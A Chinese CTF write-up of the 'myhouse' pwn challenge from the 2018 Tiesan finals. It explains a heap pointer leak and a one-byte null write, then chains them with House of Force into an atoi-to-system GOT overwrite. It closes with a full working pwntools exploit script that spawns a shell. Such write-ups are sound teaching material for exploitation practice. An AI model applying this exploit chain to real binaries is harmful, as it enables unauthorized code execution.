Pwn

铁三2018全国总决赛之myhouse

House of force+ 任意地址写1null

Posted by Chris on December 13, 2018

checksec

1
2
3
4
5
6
7
[*] '/home/chris/myhouse'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char *v3; // rsi
  const char *v4; // rdi
  int v5; // eax
  char s; // [rsp+0h] [rbp-20h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  init(*(_QWORD *)&argc, argv, envp);
  myputs("Welcome to house building system", argv);
  add_house();
  v3 = 0LL;
  v4 = &s;
  memset(&s, 0, 0x10uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      menu(v4, v3);
      v3 = &s;
      read(0, &s, 0xFuLL);
      v4 = &s;
      v5 = atoi(&s);
      if ( v5 != 2 )
        break;
      decorate_room((__int64)&s, (__int64)&s);
    }
    if ( v5 > 2 )
    {
      if ( v5 == 3 )
      {
        show_house((__int64)&s, (__int64)&s);
      }
      else
      {
        if ( v5 == 4 )
          exit(0);
LABEL_13:
        v4 = "Invalid option!";
        myputs("Invalid option!", &s);
      }
    }
    else
    {
      if ( v5 != 1 )
        goto LABEL_13;
      build_room((__int64)&s, (__int64)&s);
    }
  }
}

add_house

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
unsigned __int64 add_house()
{
  void *v0; // rsi
  int v1; // eax
  size_t size; // [rsp+0h] [rbp-30h]
  __int64 v4; // [rsp+8h] [rbp-28h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  memset(&s, 0, 0x10uLL);
  myputs("What's your name?", 0LL);
  read(0, &owner, 0x20uLL);
  myputs("What is the name of your house?", &owner);
  housen = malloc(0x100uLL);
  v0 = housen;
  read(0, housen, 0x100uLL);
  myputs("What is the size of your house?", v0);
  read(0, &s, 0xFuLL);
  v1 = atoi(&s);
  v4 = v1;
  size = v1;
  if ( (unsigned __int64)v1 > 0x300000 )
  {
    do
    {
      myputs("Too large!", &s);
      read(0, &s, 0xFuLL);
      size = atoi(&s);
    }
    while ( size > 0x300000 );
  }
  housed = malloc(size);
  myputs("Give me its description:", &s);
  read(0, housed, size - 1);
  *((_BYTE *)housed + v4 - 1) = 0;
  return __readfsqword(0x28u) ^ v6;
}

build_room

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 __fastcall build_room(__int64 a1, __int64 a2)
{
  size_t size; // [rsp+8h] [rbp-28h]
  char s; // [rsp+10h] [rbp-20h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  myputs("What is the size of your room?", a2);
  memset(&s, 0, 0x10uLL);
  read(0, &s, 0xFuLL);
  size = atoi(&s);
  room = malloc(size);
  if ( room )
    ::size = size;
  else
    ::size = 0LL;
  return __readfsqword(0x28u) ^ v5;
}

decorate_room

1
2
3
4
5
ssize_t __fastcall decorate_room(__int64 a1, __int64 a2)
{
  myputs("Make your room more shining!", a2);
  return read(0, room, size);
}

show_house

1
2
3
4
5
6
7
8
9
__int64 show_house()
{
  myputs("Name:");
  myputs(housen);
  myputs("Owner:");
  myputs(&owner);
  myputs("And description:");
  return myputs(housed);
}

漏洞利用

add_house函数有两处漏洞

漏洞1:

由于read函数没有对输入后的数据尾进行置零处理,导致show_house函数打印被填满的owner变量时会泄露下方的*housen指针。我们可利用其泄露堆地址。

1
2
myputs("What's your name?");
read(0, &owner, 0x20uLL);

pic1

漏洞2:

1
*((_BYTE *)housed + v3 - 1) = 0;

错误地使用了之前的长度变量,这里可导致任意地址写一个\x00字节.

大致思路 :

我们可以利用漏洞1泄露堆块地址,巧妙的利用漏洞2 写 main_arena 的 top 指针低字节为\x00,来缩小topchunk地址来使topchunk与上一个chunk空间复用

漏洞2利用这块说下,我们之前无法泄露libc地址,但是我们可以利用mapped内存的偏移去定位 main_arena,因为当我们以mmap方式分配内存时,它的结束地址实际上紧接内存中libc文件的code段,如图:

pic2

再分配house时,在housename的块内存中伪造一个topchunk的头( pre_szie=0x0 size=0xffffffffffffffff )执行完add_house函数后,堆布局如下:

pic3

然后就可以利用House-of-force进行任意地址分配堆块,实现任意地址写,关于它的利用方式详见我的博文 House of Force

接下来就是正常套路了,我们将堆块分别配到bss段上,控制下面这段内存:

pic4

housed指针 与 room指针 都填成atoi函数got表地址。先调用show_house泄露atoi实际地址,算出system地址;再调用decorate_room往room地址(实际atoi函数got表地址)里面写入system函数地址。这样就完成了覆写atoi函数的got表,下次调用时传入“/bin/sh”,拿下shell。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *

#context(os='linux', arch='amd64', log_level='debug')
p = process("./myhouse")
libc = ELF("./libc-2.23.so")

def addh(name,hname,size,size2,data):
    p.recvuntil("name?\n")
    p.send(name)
    p.recvuntil("house?\n")
    p.send(hname)
    p.recvuntil("house?\n")
    p.send(str(size))
    p.recvuntil("Too large!\n")
    p.send(str(size2))
    p.recvuntil("description:\n")
    p.send(data)

def add(size):
    p.recvuntil("Your choice:\n")
    p.sendline(str(1))
    p.recvuntil("room?\n")
    p.send(str(size))

def edit(data):
    p.recvuntil("Your choice:\n")
    p.sendline(str(2))
    p.recvuntil("shining!\n")
    p.send(data)

def show():
    p.recvuntil("Your choice:\n")
    p.sendline(str(3))

def g(p):
    gdb.attach(p)
    raw_input()

# 写 main_arena 的 top 指针低字节为\x00,并泄露heap地址
top_addr= 0x3c4b78
mapped_size = 0x201000
offset = mapped_size - 0x10 + top_addr + 1
addh("A"*0x20 ,"1"*0xf0+p64(0)+p64(0xffffffffffffffff),offset,0x200000,'2'*0x20)
show()
p.recvuntil("A"*0x20)
heap = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))
print "heap : "+hex(heap)

# 利用house of force 降低topchunk到bss段
attack_bss = 0x6020b0 
topchunk_addr = heap + 0x100
offset2 = attack_bss - topchunk_addr
print "offset2 : "+hex(offset2)
add(offset2)

# 分配到bss段的chunk,控制bss段数据,往housed指针与room指针写atoi_got
add(0x60)
atoi_got = 0x602058
payload = p64(atoi_got) + p64(atoi_got) 
edit(payload)

# 泄露atoi,system地址
show()
p.recvuntil("description:\x0a")
atoi_addr = u64(p.recvuntil('\n',drop=True).ljust(0x8,"\x00"))
print "atoi_addr : "+hex(atoi_addr)
system_addr = atoi_addr -libc.symbols['atoi'] + libc.symbols['system']
print "system_addr : "+hex(system_addr)

# 写atoi函数got表为system函数地址
edit(p64(system_addr))
p.recvuntil("choice:")

# get shell
p.send("/bin/sh\x00")
p.interactive()


程序和脚本下载